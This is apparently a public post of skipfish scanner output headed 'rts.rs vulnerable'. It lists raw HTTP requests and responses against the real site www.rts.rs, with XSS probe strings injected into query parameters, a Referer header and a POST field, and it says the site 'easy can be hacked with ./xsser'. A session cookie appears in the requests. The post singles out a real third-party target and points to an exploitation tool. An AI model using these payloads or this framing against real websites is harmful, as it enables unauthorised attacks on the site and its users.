rts.rs vulnerable

rts.rs vulnerable
=== REQUEST ===
+XSS INSIDE BODY+easy can be hacked with ./xsser
GET /page/rts/ci/javniservis/news/1940.html?username=.htaccess.aspx-->">'>'"<sfi002106v501469>&password=skipfish HTTP/1.1
GET /page/rts/ci/javniservis/news/1940.html?username=Smith&password=.htaccess.aspx-->">'>'"<sfi002126v501469> HTTP/1.1
GET /page/rts/ci/javniservis/news/1940?username=Smith-->">'>'"<sfi002180v501469>&password=skipfish HTTP/1.1
GET /page/rts/ci/pesma%2Bevrovizije/junior/news/160/decja-pesma-evrovizije-2008.html?position=1&.htaccess.aspx-->">'>'"<sfi002256v501469> HTTP/1.1
POST /page/rts/ci/pesma%2Bevrovizije/junior/news/160 HTTP/1.1
Host: www.rts.rs
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 SF/2.10b
Range: bytes=0-399999
Referer: http://www.rts.rs/
Referer: -->">'>'"<sfi002180v501469>
Cookie: JSESSIONID=52E25D0DD8BAE6CFEA68F2D1B29A589D.tomcat2
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
websites2=.htaccess.aspx-->">'>'"<sfi002246v501469>

=== RESPONSE ===

HTTP/1.1 200 OK
Server: nginx/1.4.2
Date: Sat, 04 Feb 2017 12:38:00 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Language: ci
Expires: Sat, 04 Feb 2017 12:43:00 GMT
Cache-Control: max-age=300
X-Proxy-Cache: MISS
Content-Encoding: gzip
---------------------------------------
---------------------------------------
+ cached set-cookie +
=== REQUEST ===

GET /sfi9876 HTTP/1.1
Host: www.rts.rs
Accept-Encoding: gzip
Connection: keep-alive
User-Agent: Mozilla/5.0 SF/2.10b
Range: bytes=0-399999
Referer: http://www.rts.rs/
Cookie: JSESSIONID=52E25D0DD8BAE6CFEA68F2D1B29A589D.tomcat2


=== RESPONSE ===

HTTP/1.1 404 Not Found
Server: nginx/1.4.2
Date: Sat, 04 Feb 2017 10:58:18 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=64898379551C9A2002E48F448520CE9E.tomcat2; Path=/
Content-Encoding: gzip